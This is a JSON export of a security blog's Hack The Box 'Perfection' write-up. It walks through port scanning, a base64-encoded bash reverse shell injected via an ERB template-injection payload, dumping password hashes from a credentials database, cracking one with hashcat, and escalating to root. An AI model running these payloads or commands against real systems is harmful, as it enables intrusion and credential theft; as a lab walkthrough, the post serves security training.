{"id":10,"date":"2025-04-23T16:10:34","date_gmt":"2025-04-23T16:10:34","guid":{"rendered":"https:\/\/blog.pontis-security.com\/?p=10"},"modified":"2025-04-23T16:14:58","modified_gmt":"2025-04-23T16:14:58","slug":"htb-perfection-writeup","status":"publish","type":"post","link":"https:\/\/blog.pontis-security.com\/?p=10","title":{"rendered":"HTB Perfection Writeup"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\" id=\"025a\">Enumeration<\/h2>\n\n\n\n<p id=\"0e45\"><em>The initial enumeration step begins with an Nmap scan of the target IP address. Nmap is a powerful network scanning tool that helps identify open ports and the services running on those ports. In this case, the scan reveals two open ports: 22 (SSH) and 80 (HTTP). The presence of an SSH server indicates a potential avenue for remote access, while the HTTP server suggests a web application might be hosted on the target. The scan details also hint at the operating system being a version of Ubuntu Linux.<\/em><\/p>\n\n\n\n<p><em>The <\/em><code>sudo nmap -sC -sV 10.129.216.68<\/code><em> command is broken down as follows:<\/em><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>sudo<\/code><em> is used to run the command with root privileges, which may be necessary for certain types of scans.<\/em><\/li>\n\n\n\n<li><code>-sC<\/code><em> runs default scripts to gather more detailed information about the services.<\/em><\/li>\n\n\n\n<li><code>-sV<\/code><em> attempts to determine the version of the services running.<\/em><\/li>\n\n\n\n<li><code>10.129.216.68<\/code><em> is the target IP address.<\/em><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ sudo nmap -sC -sV 10.129.216.68\n&#91;sudo] password for kali: \nStarting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-03-07 21:47 CET\nNmap scan report for 10.129.216.68\nHost is up (0.11s latency).\nNot shown: 998 closed tcp ports (reset)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)\n|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)\n80\/tcp open  http    nginx\n|_http-title: Weighted Grade Calculator\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 14.37 seconds<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"ae84\">Website<\/h2>\n\n\n\n<p id=\"de9a\"><em>The http Port has a http server running. The site has input fields we could use to inject code.<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"489\" src=\"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ-1024x489.webp\" alt=\"\" class=\"wp-image-11\" srcset=\"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ-1024x489.webp 1024w, https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ-300x143.webp 300w, https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ-768x366.webp 768w, https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ.webp 1400w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"7dfe\">Start Listener<\/h2>\n\n\n\n<p id=\"4ede\"><em>The next step involves listening for incoming connections using <\/em><code>nc -lvnp 7373<\/code><em>, where <\/em><code>nc<\/code><em> is the Netcat utility, a versatile networking tool. The flags used here (<\/em><code>-l<\/code><em> listen mode, <\/em><code>-v<\/code><em> verbose, <\/em><code>-n<\/code><em> numeric-only IP addresses, <\/em><code>-p<\/code><em> specifies the port) set up a listener on port 7373, anticipating a reverse shell from the target.<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ nc -lvnp 7373                            \nlistening on &#91;any] 7373 ...\nconnect to &#91;10.10.14.213] from (UNKNOWN) &#91;10.129.216.68] 42582<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"61ff\">Generate Payload<\/h2>\n\n\n\n<p id=\"b8b7\"><em>The use of <\/em><code>hURL<\/code><em> to encode and decode payloads showcases the manipulation of data to exploit web application vulnerabilities. The payload crafted for the Weighted Grade Calculator application is designed to execute a reverse shell command, taking advantage of any potential server-side code execution vulnerabilities.<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ hURL -B \"bash -i &gt;&amp; \/dev\/tcp\/10.10.14.213\/7373 0&gt;&amp;1\"\n\nOriginal       :: bash -i &gt;&amp; \/dev\/tcp\/10.10.14.213\/7373 0&gt;&amp;1                                                                                                                                                     \nbase64 ENcoded :: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTMvNzM3MyAwPiYx\n                                                                                                                                                                                                                 \n\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ hURL -U \"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTMvNzM3MyAwPiYx\"\n\nOriginal    :: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTMvNzM3MyAwPiYx                                                                                                                                          \nURL ENcoded :: YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMTMvNzM3MyAwPiYx<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"7f06\">Inject Payload<\/h2>\n\n\n\n<p id=\"51d2\"><em>Use Burpsuite to capture the POST Request. Then paste in the Payload.<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"370\" src=\"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_bU_YiPmMY78G0MGnfcDiOQ-1024x370.webp\" alt=\"\" class=\"wp-image-12\" srcset=\"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_bU_YiPmMY78G0MGnfcDiOQ-1024x370.webp 1024w, https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_bU_YiPmMY78G0MGnfcDiOQ-300x108.webp 300w, https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_bU_YiPmMY78G0MGnfcDiOQ-768x277.webp 768w, https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_bU_YiPmMY78G0MGnfcDiOQ.webp 1276w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>grade1=1&amp;weight1=100&amp;category2=N%2FA&amp;grade2=1&amp;weight2=0&amp;category3=N%2FA&amp;grade3=1&amp;weight3=0&amp;category4=N%2FA&amp;grade4=1&amp;weight4=0&amp;category5=N%2FA&amp;grade5=1&amp;weight5=0&amp;category1=a%0A&lt;%25%3dsystem(\"echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMTMvNzM3MyAwPiYx|+base64+-d+|+bash\");%25&gt;1<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"502b\">User Flag and Hash<\/h2>\n\n\n\n<p id=\"f9d1\"><em>Boom! There is our Reverse Shell Connection. We can now optain the User Flag and the hash from Susan.<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ nc -lvnp 7373                            \nlistening on &#91;any] 7373 ...\nconnect to &#91;10.10.14.213] from (UNKNOWN) &#91;10.129.216.68] 42582\nbash: cannot set terminal process group (992): Inappropriate ioctl for device\nbash: no job control in this shell\nsusan@perfection:~\/ruby_app$ ls\nls\nmain.rb\npublic\nviews\nsusan@perfection:~\/ruby_app$ cd \/home\ncd \/home\nsusan@perfection:\/home$ ls\nls\nsusan\nsusan@perfection:\/home$ cd susan\ncd susan\nsusan@perfection:~$ ls\nls\nMigration\nruby_app\nuser.txt\nsusan@perfection:~$ cat user.txt\ncat user.txt\n2034XXXXXXXXXXXXXXXXXXXXXXX96ab\nsusan@perfection:~$ cd Migration\ncd Migration\nsusan@perfection:~\/Migration$ ls\nls\npupilpath_credentials.db\nsusan@perfection:~\/Migration$ strings pupilpath_credentials.db\nstrings pupilpath_credentials.db\nSQLite format 3\ntableusersusers\nCREATE TABLE users (\nid INTEGER PRIMARY KEY,\nname TEXT,\npassword TEXT\nStephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S\nDavid Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP\nHarry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O\nTina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q\nSusan Miller&lt;HASH&gt;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Crack the Hash<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ echo \"&lt;HASH&gt;\" &gt; hash.txt  \n                                                                                                                                                                                                                 \n\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$  hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d \n\n&lt;HASH&gt;:susan_nasus_4XXXXXXX0\n                                                          \nSession..........: hashcat\nStatus...........: Cracked\nHash.Mode........: 1400 (SHA2-256)\nHash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f\nTime.Started.....: Thu Mar  7 22:22:07 2024 (2 mins, 16 secs)\nTime.Estimated...: Thu Mar  7 22:24:23 2024 (0 secs)\nKernel.Feature...: Pure Kernel\nGuess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d &#91;21]\nGuess.Queue......: 1\/1 (100.00%)\nSpeed.#1.........:  2614.7 kH\/s (0.39ms) @ Accel:512 Loops:1 Thr:1 Vec:16\nRecovered........: 1\/1 (100.00%) Digests (total), 1\/1 (100.00%) Digests (new)\nProgress.........: 324558848\/1000000000 (32.46%)\nRejected.........: 0\/324558848 (0.00%)\nRestore.Point....: 324554752\/1000000000 (32.46%)\nRestore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1\nCandidate.Engine.: Device Generator\nCandidates.#1....: susan_nasus_058540610 -&gt; susan_nasus_803824210\nHardware.Mon.#1..: Util: 32%<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Login with Root<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$  ssh susan@10.129.216.68\nsusan@perfection:~$ sudo su\nroot@perfection:\/home\/susan# cat \/root\/root.txt\n&lt;FLAG&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"484\" src=\"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1__nlKfQW16KC1ieR3EL8vwA-1024x484.webp\" alt=\"\" class=\"wp-image-13\" srcset=\"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1__nlKfQW16KC1ieR3EL8vwA-1024x484.webp 1024w, https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1__nlKfQW16KC1ieR3EL8vwA-300x142.webp 300w, https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1__nlKfQW16KC1ieR3EL8vwA-768x363.webp 768w, https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1__nlKfQW16KC1ieR3EL8vwA.webp 1198w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Enumeration The initial enumeration step begins with an Nmap scan of the target IP address. Nmap is a powerful network scanning tool that helps identify open ports and the services running on those ports. In this case, the scan reveals two open ports: 22 (SSH) and 80 (HTTP). The presence of an SSH server indicates [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,4,7,8,5],"class_list":["post-10","post","type-post","status-publish","format-standard","hentry","category-htb-writeup","tag-ethical-hacking","tag-hacking","tag-htb","tag-pentesting","tag-solution","tag-writeup"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v24.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>HTB Perfection Writeup - Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/blog.pontis-security.com\/?p=10\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HTB Perfection Writeup - Blog\" \/>\n<meta property=\"og:description\" content=\"Enumeration The initial enumeration step begins with an Nmap scan of the target IP address. Nmap is a powerful network scanning tool that helps identify open ports and the services running on those ports. In this case, the scan reveals two open ports: 22 (SSH) and 80 (HTTP). The presence of an SSH server indicates [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/blog.pontis-security.com\/?p=10\" \/>\n<meta property=\"og:site_name\" content=\"Blog\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-23T16:10:34+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-04-23T16:14:58+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ.webp\" \/>\n\t<meta property=\"og:image:width\" content=\"1400\" \/>\n\t<meta property=\"og:image:height\" content=\"668\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/webp\" \/>\n<meta name=\"author\" content=\"Johannes\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"Johannes\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"3\u00a0Minuten\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/blog.pontis-security.com\/?p=10\",\"url\":\"https:\/\/blog.pontis-security.com\/?p=10\",\"name\":\"HTB Perfection Writeup - Blog\",\"isPartOf\":{\"@id\":\"https:\/\/blog.pontis-security.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/blog.pontis-security.com\/?p=10#primaryimage\"},\"image\":{\"@id\":\"https:\/\/blog.pontis-security.com\/?p=10#primaryimage\"},\"thumbnailUrl\":\"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ-1024x489.webp\",\"datePublished\":\"2025-04-23T16:10:34+00:00\",\"dateModified\":\"2025-04-23T16:14:58+00:00\",\"author\":{\"@id\":\"https:\/\/blog.pontis-security.com\/#\/schema\/person\/7e0b1e8279acadeb239dee617028e505\"},\"breadcrumb\":{\"@id\":\"https:\/\/blog.pontis-security.com\/?p=10#breadcrumb\"},\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/blog.pontis-security.com\/?p=10\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/blog.pontis-security.com\/?p=10#primaryimage\",\"url\":\"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ.webp\",\"contentUrl\":\"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ.webp\",\"width\":1400,\"height\":668},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/blog.pontis-security.com\/?p=10#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Startseite\",\"item\":\"https:\/\/blog.pontis-security.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"HTB Perfection Writeup\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/blog.pontis-security.com\/#website\",\"url\":\"https:\/\/blog.pontis-security.com\/\",\"name\":\"Blog\",\"description\":\"Pontis Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/blog.pontis-security.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"de\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/blog.pontis-security.com\/#\/schema\/person\/7e0b1e8279acadeb239dee617028e505\",\"name\":\"Johannes\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/blog.pontis-security.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/c8bb11ccd58da165b8525821eca87ec8120c4ea5525a5b5499301ddaa2e173b2?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/c8bb11ccd58da165b8525821eca87ec8120c4ea5525a5b5499301ddaa2e173b2?s=96&d=mm&r=g\",\"caption\":\"Johannes\"},\"url\":\"https:\/\/blog.pontis-security.com\/?author=2\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HTB Perfection Writeup - Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/blog.pontis-security.com\/?p=10","og_locale":"de_DE","og_type":"article","og_title":"HTB Perfection Writeup - Blog","og_description":"Enumeration The initial enumeration step begins with an Nmap scan of the target IP address. Nmap is a powerful network scanning tool that helps identify open ports and the services running on those ports. In this case, the scan reveals two open ports: 22 (SSH) and 80 (HTTP). The presence of an SSH server indicates [&hellip;]","og_url":"https:\/\/blog.pontis-security.com\/?p=10","og_site_name":"Blog","article_published_time":"2025-04-23T16:10:34+00:00","article_modified_time":"2025-04-23T16:14:58+00:00","og_image":[{"width":1400,"height":668,"url":"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ.webp","type":"image\/webp"}],"author":"Johannes","twitter_card":"summary_large_image","twitter_misc":{"Verfasst von":"Johannes","Gesch\u00e4tzte Lesezeit":"3\u00a0Minuten"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/blog.pontis-security.com\/?p=10","url":"https:\/\/blog.pontis-security.com\/?p=10","name":"HTB Perfection Writeup - Blog","isPartOf":{"@id":"https:\/\/blog.pontis-security.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/blog.pontis-security.com\/?p=10#primaryimage"},"image":{"@id":"https:\/\/blog.pontis-security.com\/?p=10#primaryimage"},"thumbnailUrl":"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ-1024x489.webp","datePublished":"2025-04-23T16:10:34+00:00","dateModified":"2025-04-23T16:14:58+00:00","author":{"@id":"https:\/\/blog.pontis-security.com\/#\/schema\/person\/7e0b1e8279acadeb239dee617028e505"},"breadcrumb":{"@id":"https:\/\/blog.pontis-security.com\/?p=10#breadcrumb"},"inLanguage":"de","potentialAction":[{"@type":"ReadAction","target":["https:\/\/blog.pontis-security.com\/?p=10"]}]},{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/blog.pontis-security.com\/?p=10#primaryimage","url":"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ.webp","contentUrl":"https:\/\/blog.pontis-security.com\/wp-content\/uploads\/2025\/04\/1_WtTamgBmnsTQgKHMJj2ApQ.webp","width":1400,"height":668},{"@type":"BreadcrumbList","@id":"https:\/\/blog.pontis-security.com\/?p=10#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Startseite","item":"https:\/\/blog.pontis-security.com\/"},{"@type":"ListItem","position":2,"name":"HTB Perfection Writeup"}]},{"@type":"WebSite","@id":"https:\/\/blog.pontis-security.com\/#website","url":"https:\/\/blog.pontis-security.com\/","name":"Blog","description":"Pontis Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/blog.pontis-security.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"de"},{"@type":"Person","@id":"https:\/\/blog.pontis-security.com\/#\/schema\/person\/7e0b1e8279acadeb239dee617028e505","name":"Johannes","image":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/blog.pontis-security.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/c8bb11ccd58da165b8525821eca87ec8120c4ea5525a5b5499301ddaa2e173b2?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/c8bb11ccd58da165b8525821eca87ec8120c4ea5525a5b5499301ddaa2e173b2?s=96&d=mm&r=g","caption":"Johannes"},"url":"https:\/\/blog.pontis-security.com\/?author=2"}]}},"_links":{"self":[{"href":"https:\/\/blog.pontis-security.com\/index.php?rest_route=\/wp\/v2\/posts\/10","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.pontis-security.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.pontis-security.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.pontis-security.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.pontis-security.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10"}],"version-history":[{"count":2,"href":"https:\/\/blog.pontis-security.com\/index.php?rest_route=\/wp\/v2\/posts\/10\/revisions"}],"predecessor-version":[{"id":16,"href":"https:\/\/blog.pontis-security.com\/index.php?rest_route=\/wp\/v2\/posts\/10\/revisions\/16"}],"wp:attachment":[{"href":"https:\/\/blog.pontis-security.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.pontis-security.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.pontis-security.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}